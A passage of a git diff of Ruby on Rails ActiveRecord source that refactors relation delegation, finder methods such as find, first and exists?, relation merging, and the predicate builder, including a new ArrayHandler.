- # Cache the constants in @@subclasses because looking them up via const_get
- # make instantiation significantly slower.
- def relation_class_for(klass)
- if klass && klass.name
- if subclass = @@subclasses.synchronize { @@subclasses[self][klass.name] }
- subclass
- else
- subclass = const_get("#{name.gsub('::', '_')}_#{klass.name.gsub('::', '_')}", false)
- @@subclasses.synchronize { @@subclasses[self][klass.name] = subclass }
- subclass
- end
- else
- ActiveRecord::Relation
- end
- end
+ private
- # Check const_defined? in case another thread has already defined the constant.
- # I am not sure whether this is strictly necessary.
- def const_missing(name)
- @@subclasses.synchronize {
- if const_defined?(name)
- const_get(name)
- else
- const_set(name, Class.new(self) { include ClassSpecificRelation })
- end
- }
+ def relation_class_for(klass)
+ klass.relation_delegate_class(self)
end
end
def respond_to?(method, include_private = false)
- super || Array.method_defined?(method) ||
- @klass.respond_to?(method, include_private) ||
+ super || @klass.respond_to?(method, include_private) ||
+ array_delegable?(method) ||
arel.respond_to?(method, include_private)
end
protected
+ def array_delegable?(method)
+ Array.method_defined?(method) && BLACKLISTED_ARRAY_METHODS.exclude?(method)
+ end
+
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
- scoping { @klass.send(method, *args, &block) }
- elsif Array.method_defined?(method)
- to_a.send(method, *args, &block)
+ scoping { @klass.public_send(method, *args, &block) }
+ elsif array_delegable?(method)
+ to_a.public_send(method, *args, &block)
elsif arel.respond_to?(method)
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
diff --git a/activerecord/lib/active_record/relation/finder_methods.rb b/activerecord/lib/active_record/relation/finder_methods.rb
index 7ddaea1bb0..357861caaa 100644
--- a/activerecord/lib/active_record/relation/finder_methods.rb
+++ b/activerecord/lib/active_record/relation/finder_methods.rb
@@ -1,19 +1,27 @@
+require 'active_support/deprecation'
+require 'active_support/core_ext/string/filters'
+
module ActiveRecord
module FinderMethods
+ ONE_AS_ONE = '1 AS one'
+
# Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
# If no record can be found for all of the listed ids, then RecordNotFound will be raised. If the primary key
# is an integer, find by id coerces its arguments using +to_i+.
#
- # Person.find(1) # returns the object for ID = 1
- # Person.find("1") # returns the object for ID = 1
- # Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
- # Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
- # Person.find([1]) # returns an array for the object with ID = 1
+ # Person.find(1) # returns the object for ID = 1
+ # Person.find("1") # returns the object for ID = 1
+ # Person.find("31-sarah") # returns the object for ID = 31
+ # Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
+ # Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
+ # Person.find([1]) # returns an array for the object with ID = 1
# Person.where("administrator = 1").order("created_on DESC").find(1)
#
- # Note that returned records may not be in the same order as the ids you
- # provide since database rows are unordered. Give an explicit <tt>order</tt>
- # to ensure the results are sorted.
+ # <tt>ActiveRecord::RecordNotFound</tt> will be raised if one or more ids are not found.
+ #
+ # NOTE: The returned records may not be in the same order as the ids you
+ # provide since database rows are unordered. You'd need to provide an explicit <tt>order</tt>
+ # option if you want the results are sorted.
#
# ==== Find with lock
#
@@ -28,16 +36,44 @@ module ActiveRecord
# person.visits += 1
# person.save!
# end
+ #
+ # ==== Variations of +find+
+ #
+ # Person.where(name: 'Spartacus', rating: 4)
+ # # returns a chainable list (which can be empty).
+ #
+ # Person.find_by(name: 'Spartacus', rating: 4)
+ # # returns the first item or nil.
+ #
+ # Person.where(name: 'Spartacus', rating: 4).first_or_initialize
+ # # returns the first item or returns a new instance (requires you call .save to persist against the database).
+ #
+ # Person.where(name: 'Spartacus', rating: 4).first_or_create
+ # # returns the first item or creates it and returns it, available since Rails 3.2.1.
+ #
+ # ==== Alternatives for +find+
+ #
+ # Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none)
+ # # returns a boolean indicating if any record with the given conditions exist.
+ #
+ # Person.where(name: 'Spartacus', rating: 4).select("field1, field2, field3")
+ # # returns a chainable list of instances with only the mentioned fields.
+ #
+ # Person.where(name: 'Spartacus', rating: 4).ids
+ # # returns an Array of ids, available since Rails 3.2.1.
+ #
+ # Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2)
+ # # returns an Array of the required fields, available since Rails 3.1.
def find(*args)
if block_given?
- to_a.find { |*block_args| yield(*block_args) }
+ to_a.find(*args) { |*block_args| yield(*block_args) }
else
find_with_ids(*args)
end
end
# Finds the first record matching the specified conditions. There
- # is no implied ording so if order matters, you should specify it
+ # is no implied ordering so if order matters, you should specify it
# yourself.
#
# If no record is found, returns <tt>nil</tt>.
@@ -46,19 +82,23 @@ module ActiveRecord
# Post.find_by "published_at < ?", 2.weeks.ago
def find_by(*args)
where(*args).take
+ rescue RangeError
+ nil
end
# Like <tt>find_by</tt>, except that if no record is found, raises
# an <tt>ActiveRecord::RecordNotFound</tt> error.
def find_by!(*args)
where(*args).take!
+ rescue RangeError
+ raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range value"
end
# Gives a record (or N records if a parameter is supplied) without any implied
# order. The order will depend on the database implementation.
# If an order is supplied it will be respected.
#
- # Person.take # returns an object fetched by SELECT * FROM people
+ # Person.take # returns an object fetched by SELECT * FROM people LIMIT 1
# Person.take(5) # returns 5 objects fetched by SELECT * FROM people LIMIT 5
# Person.where(["name LIKE '%?'", name]).take
def take(limit = nil)
@@ -68,7 +108,7 @@ module ActiveRecord
# Same as +take+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
# is found. Note that <tt>take!</tt> accepts no arguments.
def take!
- take or raise RecordNotFound
+ take or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
end
# Find the first record (or first N records if a parameter is supplied).
@@ -79,22 +119,31 @@ module ActiveRecord
# Person.where(["user_name = :u", { u: user_name }]).first
# Person.order("created_on DESC").offset(5).first
# Person.first(3) # returns the first three objects fetched by SELECT * FROM people LIMIT 3
+ #
+ # ==== Rails 3
+ #
+ # Person.first # SELECT "people".* FROM "people" LIMIT 1
+ #
+ # NOTE: Rails 3 may not order this query by the primary key and the order
+ # will depend on the database implementation. In order to ensure that behavior,
+ # use <tt>User.order(:id).first</tt> instead.
+ #
+ # ==== Rails 4
+ #
+ # Person.first # SELECT "people".* FROM "people" ORDER BY "people"."id" ASC LIMIT 1
+ #
def first(limit = nil)
if limit
- if order_values.empty? && primary_key
- order(arel_table[primary_key].asc).limit(limit).to_a
- else
- limit(limit).to_a
- end
+ find_nth_with_limit(offset_index, limit)
else
- find_first
+ find_nth(0, offset_index)
end
end
# Same as +first+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
# is found. Note that <tt>first!</tt> accepts no arguments.
def first!
- first or raise RecordNotFound
+ find_nth! 0
end
# Find the last record (or last N records if a parameter is supplied).
@@ -127,7 +176,87 @@ module ActiveRecord
# Same as +last+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
# is found. Note that <tt>last!</tt> accepts no arguments.
def last!
- last or raise RecordNotFound
+ last or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
+ end
+
+ # Find the second record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.second # returns the second object fetched by SELECT * FROM people
+ # Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+ # Person.where(["user_name = :u", { u: user_name }]).second
+ def second
+ find_nth(1, offset_index)
+ end
+
+ # Same as +second+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def second!
+ find_nth! 1
+ end
+
+ # Find the third record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.third # returns the third object fetched by SELECT * FROM people
+ # Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+ # Person.where(["user_name = :u", { u: user_name }]).third
+ def third
+ find_nth(2, offset_index)
+ end
+
+ # Same as +third+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def third!
+ find_nth! 2
+ end
+
+ # Find the fourth record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.fourth # returns the fourth object fetched by SELECT * FROM people
+ # Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+ # Person.where(["user_name = :u", { u: user_name }]).fourth
+ def fourth
+ find_nth(3, offset_index)
+ end
+
+ # Same as +fourth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def fourth!
+ find_nth! 3
+ end
+
+ # Find the fifth record.
+ # If no order is defined it will order by primary key.
+ #
+ # Person.fifth # returns the fifth object fetched by SELECT * FROM people
+ # Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+ # Person.where(["user_name = :u", { u: user_name }]).fifth
+ def fifth
+ find_nth(4, offset_index)
+ end
+
+ # Same as +fifth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def fifth!
+ find_nth! 4
+ end
+
+ # Find the forty-second record. Also known as accessing "the reddit".
+ # If no order is defined it will order by primary key.
+ #
+ # Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+ # Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+ # Person.where(["user_name = :u", { u: user_name }]).forty_two
+ def forty_two
+ find_nth(41, offset_index)
+ end
+
+ # Same as +forty_two+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+ # is found.
+ def forty_two!
+ find_nth! 41
end
# Returns +true+ if a record exists in the table that matches the +id+ or
@@ -137,14 +266,14 @@ module ActiveRecord
# * String - Finds the record with a primary key corresponding to this
# string (such as <tt>'5'</tt>).
# * Array - Finds the record that matches these +find+-style conditions
- # (such as <tt>['color = ?', 'red']</tt>).
+ # (such as <tt>['name LIKE ?', "%#{query}%"]</tt>).
# * Hash - Finds the record that matches these +find+-style conditions
- # (such as <tt>{color: 'red'}</tt>).
+ # (such as <tt>{name: 'David'}</tt>).
# * +false+ - Returns always +false+.
# * No args - Returns +false+ if the table is empty, +true+ otherwise.
#
- # For more information about specifying conditions as a Hash or Array,
- # see the Conditions section in the introduction to ActiveRecord::Base.
+ # For more information about specifying conditions as a hash or array,
+ # see the Conditions section in the introduction to <tt>ActiveRecord::Base</tt>.
#
# Note: You can't pass in a condition as a string (like <tt>name =
# 'Jamie'</tt>), since it would be sanitized and then queried against
@@ -153,87 +282,147 @@ module ActiveRecord
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(['name LIKE ?', "%#{query}%"])
+ # Person.exists?(id: [1, 4, 8])
# Person.exists?(name: 'David')
# Person.exists?(false)
# Person.exists?
def exists?(conditions = :none)
- conditions = conditions.id if Base === conditions
+ if Base === conditions
+ conditions = conditions.id
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You are passing an instance of ActiveRecord::Base to `exists?`.
+ Please pass the id of the object by calling `.id`
+ MSG
+ end
+
return false if !conditions
- join_dependency = construct_join_dependency_for_association_find
- relation = construct_relation_for_association_find(join_dependency)
- relation = relation.except(:select, :order).select("1 AS one").limit(1)
+ relation = apply_join_dependency(self, construct_join_dependency)
+ return false if ActiveRecord::NullRelation === relation
+
+ relation = relation.except(:select, :order).select(ONE_AS_ONE).limit(1)
case conditions
when Array, Hash
relation = relation.where(conditions)
else
- relation = relation.where(table[primary_key].eq(conditions)) if conditions != :none
+ unless conditions == :none
+ relation = where(primary_key => conditions)
+ end
end
- connection.select_value(relation, "#{name} Exists", relation.bind_values)
- rescue ThrowResult
- false
+ connection.select_value(relation, "#{name} Exists", relation.arel.bind_values + relation.bind_values) ? true : false
end
- protected
+ # This method is called whenever no records are found with either a single
+ # id or multiple ids and raises a +ActiveRecord::RecordNotFound+ exception.
+ #
+ # The error message is different depending on whether a single id or
+ # multiple ids are provided. If multiple ids are provided, then the number
+ # of results obtained should be provided in the +result_size+ argument and
+ # the expected number of results should be provided in the +expected_size+
+ # argument.
+ def raise_record_not_found_exception!(ids, result_size, expected_size) #:nodoc:
+ conditions = arel.where_sql(@klass.arel_engine)
+ conditions = " [#{conditions}]" if conditions
+
+ if Array(ids).size == 1
+ error = "Couldn't find #{@klass.name} with '#{primary_key}'=#{ids}#{conditions}"
+ else
+ error = "Couldn't find all #{@klass.name.pluralize} with '#{primary_key}': "
+ error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
+ end
- def find_with_associations
- join_dependency = construct_join_dependency_for_association_find
- relation = construct_relation_for_association_find(join_dependency)
- rows = connection.select_all(relation, 'SQL', relation.bind_values.dup)
- join_dependency.instantiate(rows)
- rescue ThrowResult
- []
+ raise RecordNotFound, error
end
- def construct_join_dependency_for_association_find
- including = (eager_load_values + includes_values).uniq
- ActiveRecord::Associations::JoinDependency.new(@klass, including, [])
- end
+ private
- def construct_relation_for_association_calculations
- including = (eager_load_values + includes_values).uniq
- join_dependency = ActiveRecord::Associations::JoinDependency.new(@klass, including, arel.froms.first)
- relation = except(:includes, :eager_load, :preload)
- apply_join_dependency(relation, join_dependency)
+ def offset_index
+ offset_value || 0
end
- def construct_relation_for_association_find(join_dependency)
- relation = except(:includes, :eager_load, :preload, :select).select(join_dependency.columns)
- apply_join_dependency(relation, join_dependency)
- end
+ def find_with_associations
+ # NOTE: the JoinDependency constructed here needs to know about
+ # any joins already present in `self`, so pass them in
+ #
+ # failing to do so means that in cases like activerecord/test/cases/associations/inner_join_association_test.rb:136
+ # incorrect SQL is generated. In that case, the join dependency for
+ # SpecialCategorizations is constructed without knowledge of the
+ # preexisting join in joins_values to categorizations (by way of
+ # the `has_many :through` for categories).
+ #
+ join_dependency = construct_join_dependency(joins_values)
+
+ aliases = join_dependency.aliases
+ relation = select aliases.columns
+ relation = apply_join_dependency(relation, join_dependency)
- def apply_join_dependency(relation, join_dependency)
- join_dependency.join_associations.each do |association|
- relation = association.join_relation(relation)
+ if block_given?
+ yield relation
+ else
+ if ActiveRecord::NullRelation === relation
+ []
+ else
+ arel = relation.arel
+ rows = connection.select_all(arel, 'SQL', arel.bind_values + relation.bind_values)
+ join_dependency.instantiate(rows, aliases)
+ end
end
+ end
- limitable_reflections = using_limitable_reflections?(join_dependency.reflections)
+ def construct_join_dependency(joins = [])
+ including = eager_load_values + includes_values
+ ActiveRecord::Associations::JoinDependency.new(@klass, including, joins)
+ end
- if !limitable_reflections && relation.limit_value
- limited_id_condition = construct_limited_ids_condition(relation.except(:select))
- relation = relation.where(limited_id_condition)
+ def construct_relation_for_association_calculations
+ from = arel.froms.first
+ if Arel::Table === from
+ apply_join_dependency(self, construct_join_dependency)
+ else
+ # FIXME: as far as I can tell, `from` will always be an Arel::Table.
+ # There are no tests that test this branch, but presumably it's
+ # possible for `from` to be a list?
+ apply_join_dependency(self, construct_join_dependency(from))
end
+ end
- relation = relation.except(:limit, :offset) unless limitable_reflections
+ def apply_join_dependency(relation, join_dependency)
+ relation = relation.except(:includes, :eager_load, :preload)
+ relation = relation.joins join_dependency
- relation
+ if using_limitable_reflections?(join_dependency.reflections)
+ relation
+ else
+ if relation.limit_value
+ limited_ids = limited_ids_for(relation)
+ limited_ids.empty? ? relation.none! : relation.where!(table[primary_key].in(limited_ids))
+ end
+ relation.except(:limit, :offset)
+ end
end
- def construct_limited_ids_condition(relation)
- orders = relation.order_values.map { |val| val.presence }.compact
- values = @klass.connection.distinct("#{quoted_table_name}.#{primary_key}", orders)
+ def limited_ids_for(relation)
+ values = @klass.connection.columns_for_distinct(
+ "#{quoted_table_name}.#{quoted_primary_key}", relation.order_values)
- relation = relation.dup.select(values)
+ relation = relation.except(:select).select(values).distinct!
+ arel = relation.arel
- id_rows = @klass.connection.select_all(relation.arel, 'SQL', relation.bind_values)
- ids_array = id_rows.map {|row| row[primary_key]}
+ id_rows = @klass.connection.select_all(arel, 'SQL', arel.bind_values + relation.bind_values)
+ id_rows.map {|row| row[primary_key]}
+ end
- ids_array.empty? ? raise(ThrowResult) : table[primary_key].in(ids_array)
+ def using_limitable_reflections?(reflections)
+ reflections.none?(&:collection?)
end
+ protected
+
def find_with_ids(*ids)
+ raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+
expects_array = ids.first.kind_of?(Array)
return ids.first if expects_array && ids.first.empty?
@@ -248,28 +437,29 @@ module ActiveRecord
else
find_some(ids)
end
+ rescue RangeError
+ raise RecordNotFound, "Couldn't find #{@klass.name} with an out of range ID"
end
def find_one(id)
- id = id.id if ActiveRecord::Base === id
+ if ActiveRecord::Base === id
+ id = id.id
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ You are passing an instance of ActiveRecord::Base to `find`.
+ Please pass the id of the object by calling `.id`
+ MSG
+ end
- column = columns_hash[primary_key]
- substitute = connection.substitute_at(column, bind_values.length)
- relation = where(table[primary_key].eq(substitute))
- relation.bind_values += [[column, id]]
+ relation = where(primary_key => id)
record = relation.take
- unless record
- conditions = arel.where_sql
- conditions = " [#{conditions}]" if conditions
- raise RecordNotFound, "Couldn't find #{@klass.name} with #{primary_key}=#{id}#{conditions}"
- end
+ raise_record_not_found_exception!(id, 0, 1) unless record
record
end
def find_some(ids)
- result = where(table[primary_key].in(ids)).to_a
+ result = where(primary_key => ids).to_a
expected_size =
if limit_value && ids.size > limit_value
@@ -286,12 +476,7 @@ module ActiveRecord
if result.size == expected_size
result
else
- conditions = arel.where_sql
- conditions = " [#{conditions}]" if conditions
-
- error = "Couldn't find all #{@klass.name.pluralize} with IDs "
- error << "(#{ids.join(", ")})#{conditions} (found #{result.size} results, but was looking for #{expected_size})"
- raise RecordNotFound, error
+ raise_record_not_found_exception!(ids, result.size, expected_size)
end
end
@@ -303,34 +488,41 @@ module ActiveRecord
end
end
- def find_first
+ def find_nth(index, offset)
if loaded?
- @records.first
+ @records[index]
else
- @first ||=
- if with_default_scope.order_values.empty? && primary_key
- order(arel_table[primary_key].asc).limit(1).to_a.first
- else
- limit(1).to_a.first
- end
+ offset += index
+ @offsets[offset] ||= find_nth_with_limit(offset, 1).first
end
end
+ def find_nth!(index)
+ find_nth(index, offset_index) or raise RecordNotFound.new("Couldn't find #{@klass.name} with [#{arel.where_sql(@klass.arel_engine)}]")
+ end
+
+ def find_nth_with_limit(offset, limit)
+ relation = if order_values.empty? && primary_key
+ order(arel_table[primary_key].asc)
+ else
+ self
+ end
+
+ relation = relation.offset(offset) unless offset.zero?
+ relation.limit(limit).to_a
+ end
+
def find_last
if loaded?
@records.last
else
@last ||=
- if offset_value || limit_value
+ if limit_value
to_a.last
else
reverse_order.limit(1).to_a.first
end
end
end
-
- def using_limitable_reflections?(reflections)
- reflections.none? { |r| r.collection? }
- end
end
end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
index 59226d316e..a27f990f74 100644
--- a/activerecord/lib/active_record/relation/merger.rb
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -1,4 +1,5 @@
require 'active_support/core_ext/hash/keys'
+require "set"
module ActiveRecord
class Relation
@@ -12,7 +13,7 @@ module ActiveRecord
@hash = hash
end
- def merge
+ def merge #:nodoc:
Merger.new(relation, other).merge
end
@@ -21,7 +22,7 @@ module ActiveRecord
# build a relation to merge in rather than directly merging
# the values.
def other
- other = Relation.new(relation.klass, relation.table)
+ other = Relation.create(relation.klass, relation.table)
hash.each { |k, v|
if k == :joins
if Hash === v
@@ -29,6 +30,8 @@ module ActiveRecord
else
other.joins!(*v)
end
+ elsif k == :select
+ other._select!(v)
else
other.send("#{k}!", v)
end
@@ -38,20 +41,17 @@ module ActiveRecord
end
class Merger # :nodoc:
- attr_reader :relation, :values
+ attr_reader :relation, :values, :other
def initialize(relation, other)
- if other.default_scoped? && other.klass != relation.klass
- other = other.with_default_scope
- end
-
@relation = relation
@values = other.values
+ @other = other
end
NORMAL_VALUES = Relation::SINGLE_VALUE_METHODS +
Relation::MULTI_VALUE_METHODS -
- [:where, :order, :bind, :reverse_order, :lock, :create_with, :reordering, :from] # :nodoc:
+ [:joins, :where, :order, :bind, :reverse_order, :lock, :create_with, :reordering, :from] # :nodoc:
def normal_values
NORMAL_VALUES
@@ -60,70 +60,109 @@ module ActiveRecord
def merge
normal_values.each do |name|
value = values[name]
- relation.send("#{name}!", *value) unless value.blank?
+ # The unless clause is here mostly for performance reasons (since the `send` call might be moderately
+ # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
+ # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
+ # don't fall through the cracks.
+ unless value.nil? || (value.blank? && false != value)
+ if name == :select
+ relation._select!(*value)
+ else
+ relation.send("#{name}!", *value)
+ end
+ end
end
merge_multi_values
merge_single_values
+ merge_joins
relation
end
private
+ def merge_joins
+ return if other.joins_values.blank?
+
+ if other.klass == relation.klass
+ relation.joins!(*other.joins_values)
+ else
+ joins_dependency, rest = other.joins_values.partition do |join|
+ case join
+ when Hash, Symbol, Array
+ true
+ else
+ false
+ end
+ end
+
+ join_dependency = ActiveRecord::Associations::JoinDependency.new(other.klass,
+ joins_dependency,
+ [])
+ relation.joins! rest
+
+ @relation = relation.joins join_dependency
+ end
+ end
+
def merge_multi_values
- relation.where_values = merged_wheres
- relation.bind_values = merged_binds
+ lhs_wheres = relation.where_values
+ rhs_wheres = other.where_values
+
+ lhs_binds = relation.bind_values
+ rhs_binds = other.bind_values
+
+ removed, kept = partition_overwrites(lhs_wheres, rhs_wheres)
- if values[:reordering]
+ where_values = kept + rhs_wheres
+ bind_values = filter_binds(lhs_binds, removed) + rhs_binds
+
+ relation.where_values = where_values
+ relation.bind_values = bind_values
+
+ if other.reordering_value
# override any order specified in the original relation
- relation.reorder! values[:order]
- elsif values[:order]
- # merge in order_values from r
- relation.order! values[:order]
+ relation.reorder! other.order_values
+ elsif other.order_values
+ # merge in order_values from relation
+ relation.order! other.order_values
end
- relation.extend(*values[:extending]) unless values[:extending].blank?
+ relation.extend(*other.extending_values) unless other.extending_values.blank?
end
def merge_single_values
- relation.from_value = values[:from] unless relation.from_value
- relation.lock_value = values[:lock] unless relation.lock_value
- relation.reverse_order_value = values[:reverse_order]
+ relation.from_value = other.from_value unless relation.from_value
+ relation.lock_value = other.lock_value unless relation.lock_value
- unless values[:create_with].blank?
- relation.create_with_value = (relation.create_with_value || {}).merge(values[:create_with])
+ unless other.create_with_value.blank?
+ relation.create_with_value = (relation.create_with_value || {}).merge(other.create_with_value)
end
end
- def merged_binds
- if values[:bind]
- (relation.bind_values + values[:bind]).uniq(&:first)
- else
- relation.bind_values
- end
+ def filter_binds(lhs_binds, removed_wheres)
+ return lhs_binds if removed_wheres.empty?
+
+ set = Set.new removed_wheres.map { |x| x.left.name.to_s }
+ lhs_binds.dup.delete_if { |col,_| set.include? col.name }
end
- def merged_wheres
- if values[:where]
- merged_wheres = relation.where_values + values[:where]
-
- unless relation.where_values.empty?
- # Remove equalities with duplicated left-hand. Last one wins.
- seen = {}
- merged_wheres = merged_wheres.reverse.reject { |w|
- nuke = false
- if w.respond_to?(:operator) && w.operator == :==
- nuke = seen[w.left]
- seen[w.left] = true
- end
- nuke
- }.reverse
- end
+ # Remove equalities from the existing relation with a LHS which is
+ # present in the relation being merged in.
+ # returns [things_to_remove, things_to_keep]
+ def partition_overwrites(lhs_wheres, rhs_wheres)
+ if lhs_wheres.empty? || rhs_wheres.empty?
+ return [[], lhs_wheres]
+ end
- merged_wheres
- else
- relation.where_values
+ nodes = rhs_wheres.find_all do |w|
+ w.respond_to?(:operator) && w.operator == :==
+ end
+ seen = Set.new(nodes) { |node| node.left }
+
+ lhs_wheres.partition do |w|
+ w.respond_to?(:operator) && w.operator == :== && seen.include?(w.left)
end
end
end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index 83074e72c1..eb21d01465 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,38 +1,31 @@
module ActiveRecord
class PredicateBuilder # :nodoc:
- def self.build_from_hash(klass, attributes, default_table)
- queries = []
-
- attributes.each do |column, value|
- table = default_table
+ @handlers = []
- if value.is_a?(Hash)
- table = Arel::Table.new(column, default_table.engine)
- association = klass.reflect_on_association(column.to_sym)
-
- if value.empty?
- queries.concat ['1 = 2']
- else
- value.each do |k, v|
- queries.concat expand(association && association.klass, table, k, v)
- end
- end
- else
- column = column.to_s
+ autoload :RelationHandler, 'active_record/relation/predicate_builder/relation_handler'
+ autoload :ArrayHandler, 'active_record/relation/predicate_builder/array_handler'
- if column.include?('.')
- table_name, column = column.split('.', 2)
- table = Arel::Table.new(table_name, default_table.engine)
- end
+ def initialize(klass, table)
+ @klass = klass
+ @table = table
+ end
- queries.concat expand(klass, table, column, value)
+ def resolve_column_aliases(hash)
+ hash = hash.dup
+ hash.keys.grep(Symbol) do |key|
+ if klass.attribute_alias? key
+ hash[klass.attribute_alias(key)] = hash.delete key
end
end
+ hash
+ end
- queries
+ def build_from_hash(attributes)
+ attributes = convert_dot_notation_to_hash(attributes.stringify_keys)
+ expand_from_hash(attributes)
end
- def self.expand(klass, table, column, value)
+ def expand(column, value)
queries = []
# Find the foreign key when using queries such as:
@@ -40,67 +33,107 @@ module ActiveRecord
#
# For polymorphic relationships, find the foreign key and type:
# PriceEstimate.where(estimate_of: treasure)
- if klass && value.class < Base && reflection = klass.reflect_on_association(column.to_sym)
- if reflection.polymorphic?
- queries << build(table[reflection.foreign_type], value.class.base_class)
+ if klass && reflection = klass._reflect_on_association(column)
+ if reflection.polymorphic? && base_class = polymorphic_base_class_from_value(value)
+ queries << self.class.build(table[reflection.foreign_type], base_class)
end
column = reflection.foreign_key
end
- queries << build(table[column.to_sym], value)
+ queries << self.class.build(table[column], value)
queries
end
+ def polymorphic_base_class_from_value(value)
+ case value
+ when Relation
+ value.klass.base_class
+ when Array
+ val = value.compact.first
+ val.class.base_class if val.is_a?(Base)
+ when Base
+ value.class.base_class
+ end
+ end
+
def self.references(attributes)
attributes.map do |key, value|
if value.is_a?(Hash)
key
else
key = key.to_s
- key.split('.').first.to_sym if key.include?('.')
+ key.split('.').first if key.include?('.')
end
end.compact
end
- private
- def self.build(attribute, value)
- case value
- when Array, ActiveRecord::Associations::CollectionProxy
- values = value.to_a.map {|x| x.is_a?(Base) ? x.id : x}
- ranges, values = values.partition {|v| v.is_a?(Range)}
-
- values_predicate = if values.include?(nil)
- values = values.compact
-
- case values.length
- when 0
- attribute.eq(nil)
- when 1
- attribute.eq(values.first).or(attribute.eq(nil))
- else
- attribute.in(values).or(attribute.eq(nil))
- end
- else
- attribute.in(values)
- end
-
- array_predicates = ranges.map { |range| attribute.in(range) }
- array_predicates << values_predicate
- array_predicates.inject { |composite, predicate| composite.or(predicate) }
- when ActiveRecord::Relation
- value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
- attribute.in(value.arel.ast)
- when Range
- attribute.in(value)
- when ActiveRecord::Base
- attribute.eq(value.id)
- when Class
- # FIXME: I think we need to deprecate this behavior
- attribute.eq(value.name)
+ # Define how a class is converted to Arel nodes when passed to +where+.
+ # The handler can be any object that responds to +call+, and will be used
+ # for any value that +===+ the class given. For example:
+ #
+ # MyCustomDateRange = Struct.new(:start, :end)
+ # handler = proc do |column, range|
+ # Arel::Nodes::Between.new(column,
+ # Arel::Nodes::And.new([range.start, range.end])
+ # )
+ # end
+ # ActiveRecord::PredicateBuilder.register_handler(MyCustomDateRange, handler)
+ def self.register_handler(klass, handler)
+ @handlers.unshift([klass, handler])
+ end
+
+ register_handler(BasicObject, ->(attribute, value) { attribute.eq(value) })
+ # FIXME: I think we need to deprecate this behavior
+ register_handler(Class, ->(attribute, value) { attribute.eq(value.name) })
+ register_handler(Base, ->(attribute, value) { attribute.eq(value.id) })
+ register_handler(Range, ->(attribute, value) { attribute.between(value) })
+ register_handler(Relation, RelationHandler.new)
+ register_handler(Array, ArrayHandler.new)
+
+ def self.build(attribute, value)
+ handler_for(value).call(attribute, value)
+ end
+
+ def self.handler_for(object)
+ @handlers.detect { |klass, _| klass === object }.last
+ end
+ private_class_method :handler_for
+
+ protected
+
+ attr_reader :klass, :table
+
+ def expand_from_hash(attributes)
+ return ["1=0"] if attributes.empty?
+
+ attributes.flat_map do |key, value|
+ if value.is_a?(Hash)
+ arel_table = Arel::Table.new(key)
+ association = klass._reflect_on_association(key)
+ builder = self.class.new(association && association.klass, arel_table)
+
+ builder.expand_from_hash(value)
else
- attribute.eq(value)
+ expand(key, value)
end
end
+ end
+
+ private
+
+ def convert_dot_notation_to_hash(attributes)
+ dot_notation = attributes.keys.select { |s| s.include?(".") }
+
+ dot_notation.each do |key|
+ table_name, column_name = key.split(".")
+ value = attributes.delete(key)
+ attributes[table_name] ||= {}
+
+ attributes[table_name] = attributes[table_name].merge(column_name => value)
+ end
+
+ attributes
+ end
end
end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
new file mode 100644
index 0000000000..b8f3285c3e
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -0,0 +1,47 @@
+require 'active_support/core_ext/string/filters'
+
+module ActiveRecord
+ class PredicateBuilder
+ class ArrayHandler # :nodoc:
+ def call(attribute, value)
+ values = value.map { |x| x.is_a?(Base) ? x.id : x }
+ nils, values = values.partition(&:nil?)
+
+ if values.any? { |val| val.is_a?(Array) }
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ Passing a nested array to Active Record finder methods is
+ deprecated and will be removed. Flatten your array before using
+ it for 'IN' conditions.
+ MSG
+
+ values = values.flatten
+ end
+
+ return attribute.in([]) if values.empty? && nils.empty?
+
